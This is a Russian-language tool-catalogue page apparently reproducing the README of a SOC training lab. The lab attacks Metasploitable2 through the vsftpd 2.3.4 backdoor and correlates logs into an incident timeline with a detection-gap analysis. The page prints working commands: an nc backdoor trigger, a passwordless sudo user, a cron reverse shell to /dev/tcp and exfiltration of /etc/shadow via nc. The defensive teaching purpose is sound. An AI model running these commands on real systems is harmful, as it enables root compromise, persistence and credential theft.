Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
soc-investigation-lab — Расследование SOC от начала до конца: цепочка атак CVE-2011-2523, корреляция логов из нескольких источников, отчет об инциденте — MITRE ATT&CK T1190 | Kitploit
Инструменты/GitHubGitHub/mithileshan/soc-investigation-lab
РазведкаАнализ уязвимостейЭксплуатацияФорензикаПост-эксплуатацияТестирование на ПроникновениеРазведка угрозОбучение и ОбразованиеРеагирование на Инциденты

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Анализ Журналов
Лаборатории и Практика
GitHubmithileshan/soc-investigation-lab

soc-investigation-lab

Расследование SOC от начала до конца: цепочка атак CVE-2011-2523, корреляция логов из нескольких источников, отчет об инциденте — MITRE ATT&CK T1190

Репозиторий
3 месяцев назадЕщё не проверено

Лаборатория расследования End-to-End SOC

Выполняет полную четырёхфазную цепочку атак (Разведка → Эксплуатация → Закрепление → Exfiltration) против Metasploitable2, собирает доказательства на каждом этапе и формирует структурированную временную шкалу инцидента и отчёт SOC — демонстрируя мышление как атакующего, так и защитника.

MITRE ATT&CK T1190 MITRE ATT&CK T1136 MITRE ATT&CK T1078 MITRE ATT&CK T1041 Python


Цель

Это итоговый проект. Он демонстрирует способность:

  • Выполнять реалистичную цепочку атак (kill chain) против преднамеренно уязвимой цели
  • Собирать криминалистические доказательства на каждом этапе с использованием нескольких источников телеметрии
  • Коррелировать записи журналов из разрозненных систем в единую временную шкалу инцидента
  • Проводить анализ пробелов в видимости — выявлять, что было бы упущено без надлежащего покрытия обнаружения
  • Готовить отчёт об инциденте уровня SOC в формате, используемом реальными командами безопасности

Используемая эксплойт (CVE-2011-2523 — бэкдор vsftpd 2.3.4) исторически значима: это была атака на цепочку поставок, когда злоумышленник внедрил бэкдор в репозиторий исходного кода открытого пакета vsftpd.


Архитектура

root@kitploit:~
                    ╔═══════════════════════════════╗
                    ║  soc-lab (172.23.0.0/24)       ║
                    ║                               ║
┌─────────────┐     ║  ┌─────────────────────────┐  ║
│  Атакующий  │     ║  │  Metasploitable2        │  ║
│  Kali Linux │     ║  │  172.23.0.200           │  ║
│             │     ║  │                         │  ║
│  Фаза 1     │─────╫─►│  :21  vsftpd 2.3.4 ◄───╫──╫── CVE-2011-2523
│  nmap -A    │     ║  │  :22  SSH               │  ║    бэкдор на :6200
│             │     ║  │  :80  HTTP (DVWA)        │  ║
│  Фаза 2     │─────╫─►│  :445 Samba             │  ║
│  msf exploit│◄────╫──│  :6200 root shell       │  ║
│             │     ║  └─────────────────────────┘  ║
│  Фаза 3     │─────╫─► useradd sysbackup           ║
│  закрепление│─────╫─► crontab reverse shell       ║
│             │     ║                               ║
│  Фаза 4     │◄────╫── /etc/shadow через nc :5555  ║
│  exfiltration     ╚═══════════════════════════════╝
└──────┬──────┘
       │
       │ Сбор доказательств:
       │  logs/msf_session.log
       │  logs/target_auth.log
       │  captures/full_attack_chain.pcap (tshark CSV)
       ▼
┌──────────────────────────────────────────────────┐
│  build_timeline.py                               │
│  Парсер: MSF log + auth.log + tshark CSV         │
│  → слияние по временным меткам → тегирование по фазе  │
│  → JSON timeline + Markdown отчёт об инциденте      │
└──────────────────────────────────────────────────┘

Инструменты и стек


Настройка

root@kitploit:~
cd docker/

# Запуск Metasploitable2 (изолированная сеть)
docker compose up -d metasploitable

# Проверка доступности цели
nmap -p 21,22,80 172.23.0.200

# Запуск фонового захвата пакетов
sudo tcpdump -i eth0 host 172.23.0.200 \
    -w captures/full_attack_chain.pcap &

Как запустить (Цепочка атак)

Фаза 1 — Разведка

root@kitploit:~
nmap -sV -O -A \
    -p 21,22,80,139,445,3306,5432 \
    --script=banner,ftp-anon,http-title \
    -oX logs/recon_scan.xml \
    172.23.0.200

Ключевая находка: 21/tcp open ftp vsftpd 2.3.4

Фаза 2 — Эксплуатация (CVE-2011-2523)

root@kitploit:~
# Метод A: Metasploit
msfconsole -q -x "
  use exploit/unix/ftp/vsftpd_234_backdoor;
  set RHOSTS 172.23.0.200;
  set PAYLOAD cmd/unix/interact;
  run" | tee logs/msf_session.log

# Метод B: Вручную (демонстрирует механизм)
# Шаг 1: Запуск бэкдора отправкой имени пользователя с ':)'
printf "USER evil:)\r\nPASS x\r\n" | nc 172.23.0.200 21
# Шаг 2: Подключение к созданной root-оболочке
nc 172.23.0.200 6200
# → id: uid=0(root) gid=0(root)

Почему это работает: Когда vsftpd 2.3.4 получает имя пользователя, содержащее подстроку :), демон выполняет execl("/bin/sh",...), привязанный к TCP-порту 6200. Аутентификация не требуется — прямая root-оболочка.

Фаза 3 — Закрепление

root@kitploit:~
# Выполнить в root-оболочке на цели:
useradd -m -s /bin/bash sysbackup
echo "sysbackup:$(openssl passwd -1 secr3t)" >> /etc/passwd
echo "sysbackup ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers
(crontab -l 2>/dev/null; echo "* * * * * bash -i >& /dev/tcp/172.23.0.1/9999 0>&1") | crontab -

Фаза 4 — Exfiltration

root@kitploit:~
# Приёмник (атакующий)
nc -lvnp 5555 > samples/exfiltrated_shadow.txt

# Отправитель (на цели)
cat /etc/shadow | nc 172.23.0.1 5555

Построение временной шкалы инцидента

root@kitploit:~
# Сначала преобразовать PCAP в CSV
bash ../02-network-recon-detection/src/pcap_to_siem.sh captures/full_attack_chain.pcap

# Построить временную шкалу из всех источников
python3 src/build_timeline.py \
    --msf-log  logs/msf_session.log \
    --auth-log logs/target_auth.log \
    --pcap-csv captures/full_attack_chain_packets.csv \
    --output-json samples/timeline.json \
    --output-md   docs/incident_report.md \
    --pretty

Пример вывода

build_timeline.py stderr

root@kitploit:~
2026-04-24T16:05:20  [INFO    ]  Разобрано 9 событий из MSF log
2026-04-24T16:05:20  [INFO    ]  Разобрано 11 событий из auth.log
2026-04-24T16:05:20  [INFO    ]  Разобрано 4 события инициализации потока из PCAP CSV
2026-04-24T16:05:20  [INFO    ]  Всего событий (отсортировано): 24
2026-04-24T16:05:20  [INFO    ]  Извлечено уникальных IOCs: 4
2026-04-24T16:05:20  [INFO    ]  Фаза RECON   : 8 событий(я)
2026-04-24T16:05:20  [INFO    ]  Фаза EXPLOIT : 4 событий(я)
2026-04-24T16:05:20  [INFO    ]  Фаза PERSIST : 6 событий(я)
2026-04-24T16:05:20  [INFO    ]  Фаза EXFIL   : 2 событий(я)

Временная шкала инцидента (фрагмент из samples/sample_timeline.json)

root@kitploit:~
{
  "total_events": 24,
  "iocs": [
    { "indicator": "172.23.0.1", "phase": "RECON",   "occurrence": 8 },
    { "indicator": "172.23.0.1", "phase": "EXPLOIT",  "occurrence": 2 },
    { "indicator": "sysbackup",  "phase": "PERSIST", "occurrence": 1 }
  ],
  "timeline": [
    { "timestamp": "2026-04-24T14:10:05+00:00", "phase": "RECON",   "description": "nmap -sV -O -A", "source": "metasploit" },
    { "timestamp": "2026-04-24T14:22:41+00:00", "phase": "EXPLOIT", "description": "session 1 opened (172.23.0.1 → 172.23.0.200)", "source": "metasploit" },
    { "timestamp": "2026-04-24T14:28:07+00:00", "phase": "PERSIST", "description": "useradd: new user: name=sysbackup", "source": "auth_log" },
    { "timestamp": "2026-04-24T14:35:52+00:00", "phase": "EXFIL",   "description": "flow 172.23.0.200 → 172.23.0.1:5555", "source": "pcap" }
  ]
}

Анализ пробелов в видимости

Это самый важный аналитический результат — что было бы упущено без надлежащего обнаружения.

Критическая находка: Эксплойт vsftpd 2.3.4 не оставляет никакой записи в auth.log, поскольку обходит подсистему входа в систему. Единственным журнальным доказательством является последующее TCP-соединение к порту 6200 — невидимое без сетевой телеметрии. Только журналы конечных точек не могут обнаружить этот класс атак.


Ограничения и дальнейшая работа


Ссылки


Структура проекта

root@kitploit:~
04-soc-investigation/
├── src/
│   ├── build_timeline.py      # Объединение логов из нескольких источников + тегирование фаз
│   └── run_attack_chain.sh    # Пошаговая цепочка атак с точными командами
├── configs/
│   └── splunk_detection_rules.spl   # SPL-запросы для каждой фазы (RECON/EXPLOIT/PERSIST/EXFIL)
├── samples/
│   └── sample_timeline.json   # Пример временной шкалы инцидента в JSON
├── docker/
│   └── docker-compose.yml     # Изолированная цель Metasploitable2
├── docs/
│   └── incident_report.md     # Сгенерированный отчёт SOC (build_timeline.py --output-md)
└── screenshots/
Скачать инструмент
ИнструментНазначение
Metasploitable2Преднамеренно уязвимая цель Linux
Nmap 7.94Фаза 1: Перечисление сервисов
Metasploit 6.xФаза 2: Эксплуатация vsftpd 2.3.4
NetcatФаза 3–4: Закрепление + Exfiltration
tsharkЗахват пакетов на всех этапах
Python 3build_timeline.py — объединение логов из нескольких источников
Splunk Free / ELKОбнаружение SIEM для каждой фазы
ФазаСырые журнальные доказательстваОбнаружено правилом SIEMУпущено без покрытия
RECONPCAP: SYN-flood на 24 портаПравило обхода портов (>20 портов/10 с) ✓Медленное сканирование (-T1): обходит пороговое значение скорости полностью
EXPLOITPCAP: новое соединение на :6200 · Нет записи в auth.logПравило аномалии порта :6200 ✓Если атакующий использовал HTTP-эксплойт на :80 — нет аномалии порта
PERSISTauth.log: new user: name=sysbackupОповещение о создании нового пользователя ✓Прямое редактирование /etc/passwd: нулевое логирование без auditd
EXFILPCAP: 4 КБ исходящего трафика на :5555Правило нестандартного порта и размера ✓DNS-эксфильтрация (TXT-записи): полностью обходит правила объёма
ОграничениеВлияниеСмягчение
vsftpd 2.3.4 — уязвимость 2011 годаНе репрезентативна для современных эксплойтовДобавить EternalBlue (MS17-010) как альтернативный сценарий эксплуатации
build_timeline.py использует классификацию по ключевым словамНеправильно классифицирует некоторые событияОбучить лёгкий NLP-классификатор на размеченных данных журналов
Нет обнаружения конечных точек (EDR)Не захватывается закрепление на уровне файлов (authorized_keys)Добавить Wazuh или Elastic Agent на цель
Ручное выполнение цепочки атакНе воспроизводится без интерактивного вмешательстваАвтоматизировать фазы 2–4 с помощью ресурсных скриптов Metasploit
СсылкаID / Ссылка
CVE-2011-2523 — бэкдор vsftpd 2.3.4https://nvd.nist.gov/vuln/detail/CVE-2011-2523
MITRE ATT&CK — Exploit Public-Facing ApplicationT1190
MITRE ATT&CK — Create Account: Local AccountT1136.001
MITRE ATT&CK — Scheduled Task/Job: CronT1053.003
MITRE ATT&CK — Exfiltration Over C2 ChannelT1041
MITRE ATT&CK — Valid AccountsT1078